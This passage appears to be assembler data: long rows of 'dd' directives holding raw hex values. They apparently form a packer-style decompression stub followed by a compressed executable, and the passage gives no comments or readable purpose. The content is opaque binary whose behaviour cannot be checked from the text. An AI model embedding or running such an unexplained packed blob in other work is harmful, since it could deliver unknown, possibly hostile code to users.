748B6050h, 7C8B2424h, 0CD832824h, 0F9C933FFh, 68A0CEBh dd 47078846h, 973DB02h, 1E8AF475h, 72DB1246h, 1B8EDh, 0DB020000h dd 1E8A0575h, 13DB1246h, 73DB02C0h, 8A0775F1h, 0DB12461Eh dd 0E883E873h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0E88B6E74h dd 575DB02h, 12461E8Ah, 2C913DBh, 8A0575DBh, 0DB12461Eh dd 1C75C913h, 75DB0241h, 461E8A05h, 0C913DB12h, 0F173DB02h dd 1E8A0775h, 73DB1246h, 2C183E8h, 0F300FD81h, 0D183FFFFh dd 3D548D01h, 0FCFD8300h, 28A0E76h, 47078842h, 0E9F77549h dd 0FFFFFF70h, 0C283028Bh, 83078904h, 0E98304C7h, 3F17704h dd 0E9C933F9h, 0FFFFFF58h, 28247C2Bh, 1C247C89h, 0B958C361h dd 0F2h, 0FF015428h, 0F8E2C2D3h, 2EBC350h, 7C83490Ch, 0EB000424h dd 68490C02h, 4B5795h, 0C30C01EBh, 47FEE900h, 0A468779Ch dd 0EB004B57h, 0C30C01h, 490C02EBh, 24648D55h, 57B868F0h dd 32E9004Bh, 0C779C52h, 2EBEC8Bh, 75FF20CDh, 0C02EB08h dd 57CF6849h, 1EB004Bh, 0E900C30Ch, 779C5069h, 0F024648Dh dd 4B57E368h, 5207E900h, 0EB0C779Ch, 5520CD02h, 8B00F0C1h dd 0CD02EBECh, 1075FF20h, 490C02EBh, 8D0C75FFh, 68F42464h dd 4B580Ah, 9C463FE9h, 75FF0C77h, 0C02EB08h, 0C1FF6A49h dd 2EB00F0h, 23E9490Ch, 0EB779C46h, 6820CD02h, 4B582Dh dd 0C30C01EBh, 648D5500h, 3D68F024h, 0E9004B58h, 779C3FE5h dd 0EBEC8B0Ch, 0FF20CD02h, 2EB1475h, 75FF490Ch, 24648D10h dd 585C68F0h, 0C6E9004Bh, 0C779C3Fh, 0EB0C75FFh, 0FF490C02h dd 2EB0875h, 0FF6A490Ch, 490C02EBh, 0E90C01EBh, 779C3FA3h dd 0EB0C01EBh, 83490C02h, 4247Ch, 4B588E68h, 0C01EB00h dd 0C15300C3h, 685600F0h, 4B589Dh, 0C30C01EBh, 0C02EB00h dd 0AD39E949h, 2EB779Ch, 0F02490Ch, 3B6F1265h, 0F6C1FF1Ch dd 7B037A00h, 156FC001h, 0FB8020CDh, 840FFF3Fh, 1E981AC0h dd 0EB313FDEh, 190DFB2Ch, 0EBCC0612h, 1B11F803h, 0E60F51DDh dd 0F403FBEBh, 78577615h, 4D920077h, 8A780C37h, 8C4DA3BDh dd 7CFF2624h, 5F017D03h, 0B99F297Dh, 192D4C17h, 0AECCDB0Fh dd 0C1FD75FBh, 0AC5200F7h, 296C15EAh, 7A037D64h, 0E8DC0C0h dd 0BA7383A2h, 770376FBh, 1912D401h, 0DD88068Bh, 0BCEF1C03h dd 0C8AFA929h, 179DD2Fh, 0F0C1DD08h dd 0D6F68C44h, 0FF07B60Fh, 298D2AB5h, 21DDED00h, 93708DECh dd 38D66F0Eh, 0DAF7C1D9h, 0EF457ED9h, 85A777ACh, 156E7752h dd 7715FDC3h, 8BBF1A8Dh, 2BBC627h, 0DB1DD8CBh, 0BAB7A103h dd 6F07ED45h, 3B0E03F7h, 1F89A5F1h, 2766AC83h, 2659E461h dd 931F63Bh, 0BE134937h, 39F08F8Fh, 351B56F6h, 558613FFh dd 454EE8h, 96120084h, 0DDF57089h, 0BC221528h, 0DB2D04BCh dd 16E1BDCFh, 0DD1FB95Ah, 0C371195Dh, 0A85E38Ah, 0A3169B0Ch dd 59B37991h, 0A8EAEDCFh, 0B4EC04AAh, 3061633Ah, 2025E79Ch dd 47F2FD16h, 0BBFE04E9h, 0E7F5C134h, 1733523Bh, 3747D29h dd 0BBE10175h, 16D6C108h, 0F3F0319h, 0FF5E5BF3h, 0CC25Fh dd 0F08B5156h, 0FFC983FCh, 2F46068Ah, 321474FCh, 8B0C8FFh dd 673E9D1h, 20F1FF81h, 0FEEDB883h, 0F2FF75C8h, 0C18BE5EBh dd 8C35E59h, 0F01087A8h, 0F2C11283h, 392B3F7h, 0C8504058h dd 5AE33B79h, 0A073ED68h, 341B9EEDh, 0C3B5EC04h, 0EA641DB9h dd 0A1B8A61Bh, 57BC4C85h, 622B0C8Ch, 852A1E6Fh, 4D090E33h dd 774C7932h, 67F02723h, 0E066CCC9h, 0F45033DBh, 7D8894ECh dd 0D5CC1C03h, 86051C8Ch, 9E0F03CFh, 0DF505E36h, 0C1EEB804h dd 0F8B360F6h, 0F4C1A70Fh, 96A716Eh, 6A12ED77h, 0E609AD03h dd 933B03B1h, 6D08DBAAh, 51B0F103h, 0D86E472Eh, 0FED86812h dd 62D0767Fh, 430E101Bh, 0CCB8D4C1h, 138E734Ch, 6E439318h dd 7F037EFBh, 36B7B001h, 0E32C7812h, 0E1EE9267h, 0EC21504Ah dd 0F57649ABh, 0C10F5000h, 0CE0800F1h, 7052D47Fh, 1D87103h dd 4FD93B3Ah, 4FA37BD6h, 4DB41B11h, 60985CDFh, 5A9FD3D5h dd 9C0809DDh, 1974036Eh, 0FEC20210h, 4B244F1Ch, 0F6094EDFh dd 0C6F612B7h, 2DBCBA35h, 0D403D8CEh, 49B090CBh, 517ADFB6h dd 42A41E77h, 0FF7AF480h, 0C5D47500h, 303BE0Fh, 0C6DC2A34h dd 0F6704A26h, 3AAFCF1Ah, 3C45FE0Fh, 31308D7h, 0B105604Bh dd 45842644h, 416898CAh, 43EBB722h, 42F0F0D6h, 0CC0C65FFh dd 0EF389A82h, 0DF14CDCFh, 0F6C1C6ECh, 8DAFEB11h, 0F0139710h dd 0C17DB908h, 219CF4C1h, 0D8E460F3h, 0A9CF0D21h, 7DBDE98Dh dd 0FD305A06h, 0F1C1205Ch, 6401D597h, 91CED9FCh, 250B7732h dd 5E2C65B6h, 49650138h, 87F48434h, 0DA771836h, 0ABB5923h dd 0D6D18BCDh, 1D3D9090h, 1C459F5Ah, 0F1B3C1C4h, 198F8410h dd 0AADFDF35h, 758BA0h, 0D2760318h, 0FE48F0E1h, 12D7F62Fh dd 93A33628h, 992B84Dh, 3FC2133h, 80DDF6D4h, 815C0D3Eh dd 67F05DAFh, 89869386h, 0DB37030Fh, 0B8780B3Ch, 9D0B6D3Ch dd 0EE56BF4Ch, 370D70Fh, 402954Eh, 8188FB32h, 8D771296h dd 1DD74A0h, 377991Bh, 7709E8AAh, 72656B1Fh, 6C656EFBh dd 0DFDC3233h, 0BB4835A2h, 612DDEECh, 44B571F6h, 7ED15C36h dd 0D6FF1B9Dh, 2E101532h, 0C6539FCCh, 9E116E0Eh, 9600F7C1h dd 0E662EB4Ch, 1A441B0Dh, 0F5B5AF7h, 43039A5Bh, 84E0B18Fh dd 0F630479Ch, 0FF082996h, 815DA356h, 6062DC5h, 240D0C59h dd 36D4C890h, 0C4360D5Fh, 86C7D72h, 908C35CDh, 89C9F8FFh dd 630118BDh, 374F8F1h, 58BEBBA3h, 76BAD2C4h, 0E27D2EE1h dd 4BEF9BDh, 971AF4FAh, 22F66BFBh, 0C346DF73h, 0B7D875D8h dd 0FB266986h, 2759EB1Fh, 278EA37Ah, 3C0208FEh, 0CB2DFB55h dd 4B80AC54h, 0CCC3B360h, 896459FFh, 8DE921h, 717D1800h dd 9C9F87CEh, 2D8F360h, 0B8FAD90Dh, 665ADEE2h, 38D81573h dd 611B6C67h, 583E92ADh, 2EE40D01h, 9E9DCA9Dh, 0CEADF412h dd 3DFFD74Bh, 9BEBC92Bh, 26774802h, 90FEDFB0h, 0BF89180Ch dd 7FAC3C14h, 31FF640Ah, 0FF47E9E0h, 27A49AC1h, 0CBFA0EA7h dd 8F958B6h, 0F8FECE4Eh, 7F936028h, 0EF366A09h, 0BECB1A3Dh dd 0C76CE08h, 0FB10FDAh, 10C9B1BEh, 0E65915C2h, 0F4145E76h dd 2DF2B52Bh, 0E8F7105h, 0F7BB586Ah, 0B66C49DAh, 3D8DFB43h dd 7F094731h, 490172F9h, 1F4BDF33h, 8A127E36h, 0B60EEE16h dd 28EF02E8h, 3258A346h, 6816D3B7h, 9AF2FB81h, 8CF9580h dd 0D020477h, 1688C07Fh, 0AE8C1F2h, 0F346F2FEh, 0F34BC023h dd 0C9C1A925h, 0F304BDF2h, 9D6D83Bh, 27F71CC2h, 7F3DBC75h dd 6B8E0764h, 0FF66646Ah, 3A18D5FCh, 6E617160h, 51A990FFh dd 590FE868h, 9E12FF61h, 0E379EE22h, 4CDB5D67h, 0FF641B63h dd 229544h, 57187166h, 61093AFFh, 0E7C55A4h, 136BB7D6h dd 33F46019h, 2F781146h, 647C23E1h, 0C83F0EBFh, 0BAF8FFD7h dd 75667158h, 67B74A62h, 0FF6E6A2Fh, 609EA0F5h, 0DE447A51h dd 8EA0E9FFh, 6A7A2790h, 9560FF79h, 0ED99EABCh, 1EFF9A9Bh dd 72671B61h, 6FBB6891h, 916490ADh, 0C8267AFFh, 44976289h dd 6514DB33h, 90FF3900h, 0D4B95971h, 0B750A70Dh, 3F207F62h dd 0EB61ECFBh, 7E3FB163h, 634EE475h, 0B95BDF62h, 0FF02C097h dd 0E919F060h, 4EE7C31Bh, 28AD3FBh, 867F0CA0h, 6FF5DB31h dd 6009FF66h, 697181F1h, 23FF2767h, 67F361F6h, 0F6691B75h dd 0DD61DC64h, 69DCFE7Fh, 5AEC67EFh, 3B7A87EEh, 607FDF15h dd 7772F5FBh, 15BD620Bh, 98BED8EDh, 44B7F66Fh, 0EF836916h dd 85D79C68h, 40FD43A9h, 9768716Eh, 979FBF4Ah, 55587142h dd 674CAFEDh, 6464F027h, 76BF2EF5h, 0C37CDAE3h, 647AD833h dd 950EFE7Fh, 7A680220h, 151A43EDh, 604ED7BFh, 0D8376A11h dd 0B7971E44h, 0EC78420Dh, 8F667D23h, 0FAD3567Fh, 0FB495EB8h dd 51137560h, 3B7BC19Fh, 0FE5F5C86h, 80C2EB27h, 0BF53E06Eh dd 0DE15441Fh, 10B62B8h, 1467FE11h, 0E38D6689h, 0AB8FFF92h dd 0F75E18F3h, 627DA760h, 26E7FB7Fh, 0B82F335Ch, 4766549Bh dd 0A1FB486Fh, 517F2EC2h, 0A7BEDE78h, 4F648471h, 0EDC0195Bh dd 7E71183Eh, 0FB801685h, 0FAE5FB55h, 9CF63F12h, 78DB6FF5h dd 38DB6A0Fh, 0FFE04111h, 0B6617943h, 61E2A63Ah, 3D63DFECh dd 0EBF5ED6Fh, 0E178490Bh, 0B149862Bh, 299CB57Fh, 0C2647027h dd 0FDC16D23h, 50586199h, 974FFD8Ah, 3BBF00FBh, 4C547991h dd 6F8CBF7Fh, 22DBD5E2h, 0D8581D40h, 0FFFFD090h, 0CEF72Eh dd 0E565C062h, 0FC7B5E17h, 0C8970666h, 0D72F680Ah, 0FB79045Bh dd 0E9FDD319h, 98FE1F0Ch, 6A40AEF5h, 2BEFFF13h, 0E53F0C46h dd 0B7A2D579h, 645A1B7Ch, 62889997h, 87F3C8FEh, 84376259h dd 4910BF1Bh, 809562FFh, 0E6956A71h, 0E76FB727h, 0EAE1DF99h dd 0E9378E08h, 427E025Bh, 7B97E260h, 0E3A680DFh, 69F0899Bh dd 0BBB7CBC5h, 3FF1D37Fh, 787BDC1Bh, 7F4C6A08h, 3AF5114Fh dd 18669718h, 1DD6FA3h, 0DAFCFE92h, 2426F0FCh, 0FE9F6FA4h dd 11FB50D5h, 1C4A3768h, 0F7E1FE87h, 3762409Eh, 8461301h dd 0D54FFD7Fh, 8D66B89Ah, 43BF1BBFh, 60596280h, 3B1BFF7Eh dd 0DEC86468h, 78ED3BCAh, 0FE5F7CBBh, 98713915h, 0FE8CB1BBh dd 0EF7171Fh, 6EA337DCh, 57757F76h, 0D5668FC7h, 0DF4220C2h dd 0EBE25A3Fh, 68FF0EC0h, 6D23ED0h, 8D109878h, 7BDBFEECh dd 0FF45BF72h, 0FD69FC2Ah, 61EA4E67h, 0AD67E1E1h, 442B7F07h dd 44336609h, 0F59EE68Eh, 9CB99E45h, 0CA22472Eh, 44130FDDh dd 441B17BBh, 7F0B193Fh, 6951688Eh, 7BB767C2h, 0DDA0757Fh dd 7977B5Ch, 88CA13F0h, 709DBE6Eh, 357E6437h, 0BD0FBFFEh dd 604A28F5h, 1E3D10FFh, 34EFC8F5h, 646DD8BBh, 7902CF7Fh dd 984266F8h, 0FF4F579Bh, 6F4DF5F5h, 0ED79F6EAh, 0E37F857Bh dd 7BE08488h, 0C1DAB2F5h dd 7681E7A9h, 85EF3775h, 6994FD77h, 19FF6797h, 661187DFh dd 0B9DBA55h, 0BF1A171Fh, 0B740E516h, 8C555A9Fh, 0B063AFEFh dd 68827F97h, 0ABE6659h, 956651FBh, 760349BDh, 0F83DDCF0h dd 99EC9AC5h, 0DFD26C58h, 913D75FFh, 6EF3E469h, 0F8A664AFh dd 7E7C3555h, 0FED78317h, 2F6FF714h, 0D66D5439h, 0F100B665h dd 0BBE67AAEh, 8F06AB3Fh, 6F9BA11Ch, 19E01E8Fh, 701BE7D2h dd 713C61FFh, 641C2B34h, 0C2F0FF18h, 0C7BD80F7h, 72D380EBh dd 96325A37h, 0E8DB3F68h, 0FDDF33FFh, 61D48A37h, 0FB63D3E1h dd 860346FFh, 4EBEF6FFh, 0BA2BA328h, 811731BFh, 6F184947h dd 77FB1BEDh, 0A5A77EC6h, 53BF91DBh, 6AC28F18h, 0B03EC201h dd 0F1FF5BC2h, 0D0F7EE66h, 3DBB336Fh, 767D02B7h, 0ED4F8E75h dd 0F19F0615h, 73A7E815h, 0DB1963BEh, 7F31F6F4h, 8EF757E1h dd 0FF757DBFh, 3568641Bh, 6A850D5Ch, 6BE39E2Fh, 6279F532h dd 40BD8D55h, 8D1F5ED3h, 3F2C26AFh, 9575D880h, 17430FC7h dd 0C9215F30h, 0FA5B9D74h, 91A36697h, 0DFEFC764h, 5A18E1F7h dd 0FB78C778h, 5E5FF863h, 7EB72E55h, 0D7E8CF7Eh, 2F2E67B8h dd 371704B3h, 5BDB6375h, 747A3B9Eh, 57BB447Fh, 5762BD0Ah dd 1518B65Eh, 376FDFE5h, 0EC691142h, 0FF857EF0h, 55A51067h dd 736AEE76h, 0BF18675Dh, 0F07B7CC6h, 682B6A88h, 8FFFF4CFh dd 0A815923Fh, 0A1F8A85h, 0F150AD83h, 53201899h, 0ED1F7F8Ch dd 0F16AA5BFh, 908F7AFBh, 388F6263h, 3A3F1625h, 0EF47597Ah dd 0C0E9FB76h, 0A13F781Eh, 157B3FA8h, 0F21F4E7Ch, 18FE9747h dd 639161E8h, 187FDF0Ch, 6F90927Fh, 1C576709h, 0E15C5F1Fh dd 5D48AAD5h, 0B6BF17ABh, 21EFBA17h, 80AE7AFEh, 0B27FC66Ah dd 170AFF49h, 0E69AB8FEh, 67FDE599h, 0E3EB7537h, 9F0FBB37h dd 91A11F64h, 8F4661DFh, 0B0DB841Ch, 0E23EBF5Eh, 61D0F410h dd 2467D1FFh, 67D369D8h, 79D0FBC4h, 0FF9C7BE9h, 3FC8AEBFh dd 0DFF00AD3h, 91277C95h, 2F82EBC6h, 9D567FA5h, 48FFFDA5h dd 0D3791115h, 0BFE2CD5h, 6EDA6741h, 7F17E72Bh, 55E00AD6h dd 0C866A8DFh, 3BFB30BFh, 0A31FFFFFh, 0FC8AC817h, 0F161F868h dd 0FD2E9F63h, 0FFC6FF95h, 6F2C3521h, 646CA33Fh, 5279E0D2h dd 6089A6FFh, 0AA524693h, 66A57FEDh, 0CEFF0839h, 697F1A25h dd 1669BF04h, 0ED3FD68Fh, 0D25F5815h, 0DBD06C15h, 0F8071F1Ah dd 684A88F7h, 1C076B98h, 4F687F7Fh, 0A3E982F2h, 477AB4ABh dd 4F235A09h, 1EEC0EDh, 8633B1BAh, 0F39C3FC7h, 7E98DAEDh dd 63E7FF78h, 0F969F8C5h, 210B0567h, 7CB3EED0h, 75FF179Bh dd 6E480AF3h, 0E93B2F00h, 7F519152h, 55E10F92h, 3B197F8Eh dd 0A4D8611Fh, 0FC2F08A2h, 18DEF780h, 15416E7Ah, 0ADE0D4B8h dd 3A8C17FCh, 9791701Fh, 74EFEFC9h, 77BFEC75h, 7919154Ah dd 32D5E3DFh, 6CB840FCh, 0DF3B7427h, 0FE6C0CD8h, 0D4BDDA1h dd 2B04B462h, 7C40C7A9h, 5236A5DFh, 1A35A70Fh, 8F13B501h dd 17B33Fh, 0A7B1892Ch, 0F527F7BDh, 0BEDFFA9Ah, 6825B7EBh dd 6A79FDA7h, 0C44E3DBh, 7FC11FA1h, 5FA39875h, 6AF75164h dd 2F5E6475h, 8FF7C8E3h, 0B03A4F82h, 2C1F6095h, 0D2BE8FFh dd 0ED5FE017h, 0BFB26877h, 0E47C28FFh, 17C46209h, 297F8C44h dd 0DB71CFE3h, 69762E63h, 27AFDF3Eh, 1D5C626Eh, 18C764BFh dd 0F2788F17h, 5F7227AFh, 0E38199A1h, 3C6D0B7Ah, 0DF8CABDFh dd 1EF7F060h, 0FFB97A58h, 2A180A55h, 55D3FF13h, 0DB7EBF25h dd 55CC19CCh, 0B7BF364Eh, 0D57A0596h, 0B74F8C03h, 7F977F4Eh dd 178D1BCEh, 5875EFFFh, 0CB813F0Ch, 0DC3F5A7Bh, 6BCB7081h dd 0DFF9F59h, 60BEA0D5h, 6D1BC48Dh, 67C22F9Dh, 38EB827Fh dd 3FCF773Bh, 80A21515h, 0C5FF9A28h, 0C4C86F17h, 9F8C3CC3h dd 0DFA294C0h, 34A7BF58h, 0C00F2E97h, 30F7375Ch, 55FF5B7Bh dd 0EB7F0085h, 3F5564EAh, 650AB77Ch, 4F6F0FB0h, 0F418BBB7h dd 67F7ED61h, 15DA066Fh, 6B41F61h, 0D7F0C748h, 33BFA8F5h dd 0CDE46119h, 7E7F1740h, 610AE1CFh, 2ADC69E0h, 294B2313h dd 0EE6A46F6h, 0B7C16367h, 0D2754169h, 2BDEFF18h, 0E6DF9777h dd 3F8E8D1Dh, 1F3F95FDh, 0B660DF1Fh, 0E12D1813h, 7F81BF6Bh dd 17791264h, 0F0B7F7Bh, 0FF61AE55h, 0B7EAFE91h, 66D51ED5h dd 0FDE2FFBCh, 9B7F7702h, 79F651A1h, 0E8CC55Eh, 63F4CDF5h dd 8EBA81D1h, 0EF568FFh, 44FF63E7h, 0EAC89827h, 31DECE92h dd 6F9C94BFh, 66F5CEEFh, 23D57F63h, 0E395D668h, 1607F17Dh dd 0BB002FC3h, 6F083BC2h, 0A1FF26D7h, 7BE1785Eh, 0AE0F5C8Dh dd 387F6378h, 0BF23023Dh, 837F17D5h, 81EFAD3Fh, 0C7EA9BFAh dd 0A0166949h, 229FC7C7h, 37FEAD97h, 8D179A86h, 22E37F0Dh dd 0E03F1A10h, 0A17D5048h, 9B1FFF0Bh, 84BA98D5h, 92781F60h dd 0F3B4C8F3h, 2B1B7E6Fh, 337F06C0h, 7AFF8417h, 17AF6C31h dd 0B163197Eh, 0A30B6F48h, 605AED38h, 0F717FF1Ah, 0BC6687Dh dd 5FDF627Ch, 115BEA6Fh, 604CDD3Eh, 94FFCB33h, 0E9A2E1C8h dd 0ED4A69E6h, 1760F5BAh, 6BF97EFFh, 63F26FA1h, 2C91FACCh dd 581E164Bh, 0D95E4678h, 0B63A26EAh, 1FB76CE2h, 75FAE1F4h dd 187D7041h, 0F41D29DFh, 6FFE172h, 461DDBB1h, 0FC6CE290h dd 753D1575h, 602F452Dh, 0FF4A6D56h, 94EE5DF1h, 2927A4A1h dd 0D4FF1B06h, 0FD59E271h, 6F6F6C91h, 0FD7542B7h, 0D41FBADCh dd 0F8B56299h, 8F1FBF91h, 0A605CBE7h, 499093FFh, 0B76B246Fh dd 0C96DFF83h, 6DB66023h, 7DFF4EB2h, 0CA4D7C45h, 0FF8D1B91h dd 491FF5BBh, 50018A7h, 7E2108FFh, 50C0EF0h, 7B0DFA63h dd 17913F29h, 0FF983E30h, 0F092E1E0h, 7F52816Fh, 92FF1A02h dd 50085744h, 0D9FF4E6Eh, 0A5ACAF5Dh, 0D64CDCCDh, 0FFC5760Dh dd 28832529h, 0FF5F7286h, 9FF7245Ch, 0C04B457Ch, 464007FFh dd 4CB23F73h, 0B14CDB4Fh, 0C65B25C5h, 4554FF42h, 21202359h dd 0F8FED2E4h, 3E525A01h, 7C8D6605h, 7F9E2D83h, 0A2221110h dd 0C2FFB19Dh, 0E3ECB237h, 0FF181534h, 0C60ADC0h, 6E1333F2h dd 989B91FEh, 8487A571h, 0EFF560Dh, 6716D544h, 0FF8E858Bh dd 363ADA8Bh, 63B810F3h, 3F4B40FFh, 0F5FC6C8Ah, 0EBECFFFEh dd 0A3E3C61Dh, 5AFFE6F9h, 38EA1CD5h, 0FF732872h, 0F5418C20h dd 0A0FDF4F7h, 25347EFFh, 0D5D7D7A6h, 0B7DBFFDEh, 0C4C7FA7Dh dd 440B56A8h, 591EFF68h, 0CBCECAA4h, 59FFAFC8h, 0CBD9B073h dd 0FFD2A1A5h, 0BA5DBE40h, 0EABED233h, 0BEC47AFFh, 91959BADh dd 0BFDDFF44h, 9D199C6Ch, 0AAFF696Dh, 0B6B3A89Ch, 0FF447243h dd 0AD054C63h, 19181B11h, 0C08AF8FFh, 357A82A9h, 0FF7912A3h dd 0B0E0AE4h, 0FF1BAC08h, 0B1170D3h, 37D0A1E5h, 0FBFF1B16h dd 5CE27A13h, 0F14B0E86h, 0D89AF629h, 0FFFF626Ah, 0A8AD1B02h dd 0FC985DA9h, 2B767D73h, 0B4BF8187h, 5C7FB20Eh, 464734FCh dd 2F3B5474h, 4E2733A3h, 13EA4DFFh, 2A3A4E22h, 6652FF7Eh dd 21274B36h, 0FAF63F52h, 761FF2ACh, 4BF73BFFh, 213E3C49h dd 0CBAE7CFDh, 4B994020h, 1FFFE976h, 7C349B36h, 0F6C1C76Bh dd 4C6D9F32h, 0FF64D823h, 0E434D1FFh, 8A668ED5h, 0E24DBCFFh dd 0BF9B4E8Eh, 161DFE13h, 1EE25E63h, 0EB6DB7DBh, 0B973FFFBh dd 0EDE3FD8Dh, 0D7FF5BE6h, 0CE2FE2D1h, 0FF8FC25Eh, 0F7E5EE2Ch dd 23C5F3D9h, 0A607ADFFh, 0F7DBD142h, 0DCB5FFE5h, 0A8231C2Ah dd 15FAE8F0h, 0EC80CCBCh, 0F8BFBBB5h, 0A5D1FF33h, 0E3066F8Ah dd 0B9FFF781h, 0BDD395EFh dd 0FEC2CBCDh, 0A6ADA484h, 0D351386h, 6BC1FFE2h, 0B0AF4BDDh dd 42FF30AAh, 0F1F1859Ah, 0FF1997F0h, 1DF3154Dh, 61CF549h dd 0F10219FFh, 0A272367Ah, 0FF99867Ch, 329139FFh, 969D9494h dd 2561F8E4h, 373B035Eh, 0FF9EFA2Eh, 70C5A89h, 0A8536662h dd 0A9A9DEE1h, 0ADC37FFFh, 20353759h, 0BC5874C4h, 8D2980F9h dd 0A255FF2Fh, 7DBCFC0Ch, 4D432F46h, 0DFF014B8h, 482050F2h dd 21ECFFDDh, 5D545755h, 14FFDE0Dh, 0DCBE4605h, 0FF483E15h dd 271A3E9Fh, 137EAD95h, 0FF35FF0Bh, 0EEE5EC9Dh, 2AE9EF03h dd 442637FFh, 66CD7FAh, 119FFF0Ch, 75A3209Bh, 6CFFD49Fh dd 7F8F8369h, 0FF06B4FDh, 88601D8Fh, 4A04A8FCh, 4ABB1BFFh dd 24918E95h, 1FFEFF06h, 0FD0795FAh, 0AFE5C51Ah, 0D6FFF3A3h dd 2B87D0BDh, 0FF2B2E25h, 133658CBh, 3F9E5A8h, 7D0100FFh dd 0D2E13870h, 8DEFFB2h, 0C9324ED0h, 0C1FFEED1h, 0CAA6D3C0h dd 0FF57EEBEh, 17D54ACDh, 0A3D6D2FCh, 53C8A0FDh, 0BFA9987Bh dd 0CF99EBFFh, 0FBFF95A1h, 963B923Ah, 0FF6BC798h, 496B6E65h dd 0B053161Ah, 13CDF4FDh, 6FE04AEFh, 0CF1B9084h, 0EFA34BFFh dd 7BAD7701h, 1407FF35h, 0A190E1Ch, 91D840A5h, 4CFFF09h dd 9978FF84h, 67E9D370h, 0D3FF6394h, 5DDF131Bh, 126D7273h dd 0FD78FC98h, 6E2A2B6Bh, 3119FC61h, 2F939FFFh, 2013E046h dd 71855F34h, 0FF4A4F42h, 4C6FA2FEh, 0C257450Eh, 58D350FFh dd 3F2D492Eh, 0EA35FF3Ch, 3E1DFCD6h, 15FFBAA6h, 4D76303Fh dd 0F8B23233h, 53E0B3E8h, 0E41EB72Eh, 0B6E98130h, 32FE8C46h dd 36981099h, 8FFF118Ch, 66FFFF59h, 0B53F8F89h, 0EA1B8FE5h dd 0DF98307Ch, 81B78FE8h, 8D9DFF82h, 0F9F8FBF1h, 20ED6A0Bh dd 0F8FFE2C9h, 298665D0h, 458B5F4Eh, 0B19D152Ch, 0E69FFF17h dd 44FFDD45h, 0C3A9A2E5h, 0FFB8D78Ah, 0CCCFC2F6h, 0EC2F7DE9h dd 5CDBCDFFh, 0CECFD72Dh, 0D2A6FFC8h, 2DAFBCBFh, 0BD979C5Fh dd 0FF1DD028h, 9CBAEDF7h, 7FFFFF6Ch, 0B3560D1Bh, 0FFBFB399h dd 0B2F787C0h, 7015888Ch, 53E3C752h, 0E87F0D98h, 0BB33D733h dd 7F09E1E7h, 1F7FFF25h, 819684ECh, 58FDE092h, 0ECF45F09h dd 0FF7E757Ch, 46BD690Ch, 0E160FC7Bh, 0E1CB68FFh, 0DBABECAFh dd 6A75FF79h, 725E2B68h, 2AFFAA84h, 569F3B86h, 0FF7E4E5Ah dd 0F5885E32h, 0C04D5324h, 76C572FFh, 0D449D5A3h, 0AFE6D241h dd 0D5CA0C1h, 90128006h, 2812BB1Dh, 2D52020Ch, 75610BC1h dd 0F9169ADFh, 0C829E8DBh, 0E865E000h, 0C05C9793h, 61B1BF6h dd 0E87E1DFFh, 0C55308E2h, 0F0FC6E5h, 9E10FE2Fh, 0FC123170h dd 3776AE16h, 0E21E1DA4h, 0DFAE601Fh, 24CED896h, 0C217FF28h dd 0A6552428h, 3CFF0B7Ah, 354A3149h, 0FF35DDC3h, 384C7FE7h dd 45E63C4Bh, 433A43FFh, 8B47AFF4h, 4BA3FF67h, 4E306B87h dd 4FFF4E33h, 9951B906h, 0FF55BD75h, 5AB27995h, 0F25E5D5Ch dd 0F48FED8Dh, 3E668F67h, 35940228h, 0FF85350Bh, 71706F6Fh dd 5110FEEFh, 0BF9C72C1h, 947BD71Eh, 7FFF7E7Ch, 0C70D5680h dd 0FF0B79A0h, 7D488CFDh, 8E8C648Bh, 0CBFF3446h, 69B0D71Dh dd 84F8957Dh, 9C6A5B5Dh, 0A09FA4DFh, 2CFF2DA1h, 0D15A81E0h dd 4BABDEABh, 4FFAFF1h, 0A73310Fh, 0FFB5B4B3h, 52B84677h dd 7383D2B9h, 0C0BE56FFh, 4B6CC2C1h, 3BE2FF81h, 0CBCAC820h dd 43FAE4CCh, 39D5F4ABh, 3D689E5Fh, 56FF99D5h, 0DDDCDA32h dd 0FF6D65DEh, 25E7C685h, 0AA6CE616h, 0EAE6E1FFh, 0EE99EE9Ah dd 0F319FF0Dh, 0D8F5F4F3h, 0DDFF9C7Ah, 0FDFD13FEh, 0FF90FFFEh dd 0F827468Eh, 7407F1C4h, 0A770AFFh, 0B40CE6F6h, 13F9F493h dd 0D4BE1413h, 0E63D5C98h, 0AC9AFFC7h, 200746FFh, 0A1D9C2A5h dd 0C022FF6Bh, 0EE94222Eh, 0D9FF31C5h, 0DE353B31h, 0FF393836h dd 59B16F3Ah, 40A83B1Ah, 444342FFh, 6C03C9F1h, 49A1FFB5h dd 4EA6E93Eh, 855B5150h, 7211FFDBh, 35D32ABh, 0FF6F5DB3h dd 0FFEE8E5Fh, 0A4984726h, 6B836794h, 8773F0F5h, 9BD4B56Fh dd 9F2FC4BFh, 0FF77FA76h, 0B6789297h, 574545Ch, 83FA83FFh dd 86764556h, 0F88BF0F7h, 28BF8E8Bh, 937B8C81h, 7CE7FF9Dh dd 98979694h, 0DFFB1528h, 9C7561B8h, 48B87F69h, 940FAAA6h dd 15A68FFh, 0AEADAD43h, 3EDFFFAFh, 5E4897F6h, 0C1B7B8B4h dd 0E23026FFh, 5FBC55E0h, 0C52B9F31h, 0C7C6FFC5h, 0EFAE44F4h dd 0CDF6B7C8h, 0FF36D1B4h, 3E2110FFh, 0DAD9D8D6h, 0B951F7FFh dd 0AB69DBFAh, 0E708FF12h, 34FB903h, 9BFC8DEAh, 0E0EC0611h dd 78048F5Ch, 6DDC8BCh, 5F8C1EE8h, 5EE00AFh, 5B84FF5Bh dd 0D0C0AE2h, 9FFF850Eh, 0FCEF3655h, 0FF171614h, 7F972118h dd 55971938h, 7FB8D883h, 6F252423h, 0DFF6CA8h, 2D2DC3D6h dd 0FF1E2F2Eh, 301756BCh, 8D9E35DEh, 3AD263FFh, 0B23E3D3Ch dd 0BE25A9CDh, 46B1857Fh, 0F5E24BACh, 4E367EB2h, 0B974ECBFh dd 0FF545353h, 1CD8F455h, 0ADDBA67Dh, 15D76DF5h, 0AE216F94h dd 95FFA444h, 6A688067h, 0FFF06C6Bh, 8D542BE1h, 7574729Ah dd 0F73476FDh, 0BF875E3Dh, 6B5FB361h, 0FBFF8D83h, 8786846Ch dd 0FF053888h, 4F71A8CFh, 51CE907Dh, 0E48B2B16h, 418A9947h dd 0BB8C5067h, 86E46F7h, 0D615CEAEh, 31161612h, 59CFF45Fh dd 0F0E9C58h, 5BF0357Eh, 84938C4h, 1908D034h, 0F20B676h dd 0F64C3046h, 0CBE2FF01h, 34A7F626h, 0E2311872h, 0FDC5AF19h dd 538BEE74h, 0B86DA232h, 3406530Fh, 0C35059F7h, 